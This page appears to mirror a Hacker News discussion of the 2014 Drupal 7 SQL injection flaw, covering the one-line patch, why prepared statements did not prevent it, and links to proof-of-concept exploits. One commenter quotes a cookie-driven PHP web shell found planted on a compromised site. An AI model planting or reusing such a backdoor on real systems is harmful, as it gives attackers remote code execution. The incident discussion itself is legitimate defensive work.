TE
科技回声
首页24小时热榜最新最佳问答展示工作
GitHubTwitter
首页

科技回声

基于 Next.js 构建的科技新闻平台,提供全球科技新闻和讨论内容。

GitHubTwitter

首页

首页最新最佳问答展示工作

资源链接

HackerNews API原版 HackerNewsNext.js

© 2025 科技回声. 版权所有。

Drupal 7 SQL Injection Vulnerability

160 点作者 foofoobar超过 10 年前

24 条评论

anonfunction超过 10 年前
The patch is only one line[1], so if you&#x27;re scared to update Drupal for fear of breaking things you can just patch the vulnerable part.<p>In this file:<p><pre><code> includes&#x2F;database&#x2F;database.inc </code></pre> Replace line 739:<p><pre><code> foreach ($data as $i =&gt; $value) { </code></pre> With the patched code:<p><pre><code> foreach (array_values($data) as $i =&gt; $value) { </code></pre> [1] <a href="https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch" rel="nofollow">https:&#x2F;&#x2F;www.drupal.org&#x2F;files&#x2F;issues&#x2F;SA-CORE-2014-005-D7.patc...</a>
评论 #8465858 未加载
评论 #8464884 未加载
fabian2k超过 10 年前
This vulnerability is rated highly critical, it works for anonymous users and can lead to SQL injection and remote code execution.<p>There are currently around 930,000 Drupal 7 installations (<a href="https://www.drupal.org/project/usage/drupal" rel="nofollow">https:&#x2F;&#x2F;www.drupal.org&#x2F;project&#x2F;usage&#x2F;drupal</a>), I fear that this will lead to a lot of compromised sites.
jgrahamc超过 10 年前
If you are a paying CloudFlare customer using Drupal please make sure you have the WAF ruleset for Drupal enabled (<a href="https://blog.cloudflare.com/automatic-protection-for-common-web-platforms/" rel="nofollow">https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;automatic-protection-for-common-...</a>) as we rolled out automatic protection against this when it was announced.
评论 #8464431 未加载
julie1超过 10 年前
Drupal like GnuTLS, like openSSL, like joomla, and like a lot of code out there as always been recognized poor quality unreadable code by my own eyes. (Like some parts of the linux kernel)<p>Why don&#x27;t people see the pattern?<p>Poorly coded software results in security holes.<p>And IN statements are stupid with prepared statement. If you can leverage a «hit or miss» cache effect with a IN statement, you don&#x27;t need the IN, elsewhise it is inefficient.<p>Good solution is when you can do it: replace IN with join avoiding the shameful pit of Mysql poor performances in subqueries.<p>The other solution is to avoid IN statement because it cannot be protected with the bind trick.<p>And Stackoverflow has the same solutions proposed everywhere, and since people have no critical sense, this bug is everywhere where people are using IN with prepared statement.<p><a href="http://stackoverflow.com/questions/920353/can-i-bind-an-array-to-an-in-condition" rel="nofollow">http:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;920353&#x2F;can-i-bind-an-arra...</a> <a href="http://stackoverflow.com/questions/1586587/pdo-binding-values-for-mysql-in-statement" rel="nofollow">http:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;1586587&#x2F;pdo-binding-value...</a> <a href="http://stackoverflow.com/questions/589284/imploding-a-list-for-use-in-a-python-mysqldb-in-clause" rel="nofollow">http:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;589284&#x2F;imploding-a-list-f...</a> <a href="http://stackoverflow.com/questions/3703180/a-prepared-statement-where-in-query-and-sorting-with-mysql" rel="nofollow">http:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;3703180&#x2F;a-prepared-statem...</a>
评论 #8464647 未加载
评论 #8464673 未加载
WoodenChair超过 10 年前
I feel like Hacker News has become home of the &quot;security exploit du jour.&quot; There have always been new exploits being found daily, what&#x27;s changed is the severity and wide reaching nature of said exploits.<p>You might ask, when will we learn? Well, the truth is making secure systems is incredibly hard work and often comes at the price of flexibility&#x2F;usability&#x2F;programmer productivity. We know how to do it, it&#x27;s just not easy to incorporate.
评论 #8464772 未加载
评论 #8464330 未加载
评论 #8464402 未加载
评论 #8464429 未加载
btucker超过 10 年前
<p><pre><code> 16. Sep. 2014 - Notified the Drupal devs via security contact form 15. Okt. 2014 - Relase of Bugfix by Drupal core Developers </code></pre> I know it&#x27;s open source volunteers &amp; all, but that seems like a rather slow reaction to such a critical vulnerability with a simple fix, doesn&#x27;t it?
评论 #8465143 未加载
评论 #8464599 未加载
perlgeek超过 10 年前
IMHO this is the direct result of conflating arrays&#x2F;list and hashes&#x2F;dictionaries into a single thing on the programming language level.<p>Sure, careful programming would have avoided that, but if the two concept were fundamentally different types, this bug would be impossible.
评论 #8464218 未加载
评论 #8464554 未加载
评论 #8465030 未加载
zgwortz超过 10 年前
So, while patching our sites for this, we found one which apparently had <i>already</i> been patched. This was highly suspicious, especially since the file mod date is listed as approximately 9 hours ago when nobody was using the system and no login is registered for it, so we&#x27;ve been investigating. The only thing we&#x27;ve found so far is another file which was apparently created at the same exact time as the update:<p>modules&#x2F;toolbar&#x2F;pfmm.php<p>…which doesn&#x27;t actually exist in the toolbar module (or anywhere else I can find). The contents of that look like an attempt to use some kind of exploit:<p>&lt;?php $form1=@$_COOKIE[&quot;Kcqf3&quot;]; if ($form1){ $opt=$form1(@$_COOKIE[&quot;Kcqf2&quot;]); $au=$form1(@$_COOKIE[&quot;Kcqf1&quot;]); $opt(&quot;&#x2F;292&#x2F;e&quot;,$au,292); } phpinfo();<p>Not quite sure what that means, but we&#x27;re still looking into it.
评论 #8467760 未加载
评论 #8467020 未加载
评论 #8468801 未加载
milankragujevic超过 10 年前
PHP proof-of-concept here[1] (one that actually works, the Python one on pastebin.com doesn&#x27;t.)<p>[1] <a href="http://milankragujevic.com/post/66" rel="nofollow">http:&#x2F;&#x2F;milankragujevic.com&#x2F;post&#x2F;66</a>
ayrx超过 10 年前
Didn&#x27;t get much attention when I posted it last night: <a href="https://news.ycombinator.com/item?id=8459192" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=8459192</a>
评论 #8464049 未加载
userbinator超过 10 年前
<i>Drupal uses prepared statements in all its SQL queries.</i><p>There&#x27;s this common misconception &quot;just use prepared statements and they&#x27;ll completely prevent SQL injection&quot; floating around. Good to see (yet another) counterexample of that. Prepared statements and parameters are only strategies that can help, but they don&#x27;t replace an understanding of where the characters in the query are coming from and how they&#x27;re being used. Escaping shouldn&#x27;t be a difficult concept to understand either.
评论 #8464295 未加载
评论 #8464358 未加载
foofoobar超过 10 年前
A PoC can be found here: <a href="http://pastebin.com/nDwLFV3v" rel="nofollow">http:&#x2F;&#x2F;pastebin.com&#x2F;nDwLFV3v</a>
评论 #8464108 未加载
评论 #8464151 未加载
dageshi超过 10 年前
For those who don&#x27;t want to do a full core update, you can apply a one line patch by the looks of it.<p><a href="http://www.reddit.com/r/drupal/comments/2jbuiz/drupal_732_fixes_a_highly_critical_security_issue/" rel="nofollow">http:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;drupal&#x2F;comments&#x2F;2jbuiz&#x2F;drupal_732_fi...</a>
评论 #8464609 未加载
nerdy超过 10 年前
Does anyone else think that this portion of code needs revising?<p>The patch adds array_values() which basically just resets the array to a 0..n index instead of whatever alpha&#x2F;numeric mix it might&#x27;ve been before.<p>This means an array with a particular key can cause injection. Doesn&#x27;t that seem a bit of an obscure thing to have to protect? Do people who&#x27;re new to the project know about that?<p>Does someone understand something I don&#x27;t? Even looking at the patch only, from a conceptual perspective, how does the usage of that array and its keys even make sense in a context where a certain key can allow injection?
评论 #8465362 未加载
pestaa超过 10 年前
Please note that in this case the prepared statement gave the false sense of security, but is not actually responsible for the vulnerability.<p>Due to the statement being prepared, all bound parameters are correctly encoded -- not the parameter names themselves though, which Drupal should have sanitized first.<p>Letting $data through the array_values() call will give you a zero-indexed array, which gives you predictable and safe parameter names.
pearjuice超过 10 年前
Google searching for &quot;Powered by Drupal&quot; delivers quite a substantial amount of high profile websites. Either as portfolio cases or directly referenced to in website footers. I don&#x27;t know who will be faster; system administrators patching the bunch or people with malicious intentions writing automated tools to compromise hundreds of sites per second.
评论 #8467832 未加载
anonfunction超过 10 年前
&gt; Full SQL injection, which results in total control and code execution of Website.<p>Well that doesn&#x27;t sound good. Drupal.org itself is still running[1] on the unpatched version 7.3.1 which sends a message of how likely sites are to be updated.<p>[1] <a href="https://www.drupal.org/CHANGELOG.txt" rel="nofollow">https:&#x2F;&#x2F;www.drupal.org&#x2F;CHANGELOG.txt</a>
评论 #8464187 未加载
aikah超过 10 年前
Could this problem be solved by quoting parameters ? I believe PDO has quoting capabilities when it comes to query parameters in prepared statements.i.e. one can state this parameters is a string , or an integer ....
评论 #8464247 未加载
thejosh超过 10 年前
Yep, and you can exploit any Drupal 7.31 or below and get full admin access.
gabriel-aszalos超过 10 年前
GitHub OAuth results in: {&quot;type&quot;:&quot;Error&quot;,&quot;msg&quot;:&quot;Hostname&#x2F;IP doesn&#x27;t match certificate&#x27;s altnames&quot;}
ams6110超过 10 年前
Drupal 6 appears to not have this flaw?
评论 #8464515 未加载
baspray超过 10 年前
Would you be protected from this injection if your drupal database tables all had prefixes?
teekert超过 10 年前
Hmm, my install is not saying there is a core update... Normally it does this.
评论 #8464592 未加载
tbarbugli超过 10 年前
how bad is this?
评论 #8464173 未加载
评论 #8464142 未加载
评论 #8464181 未加载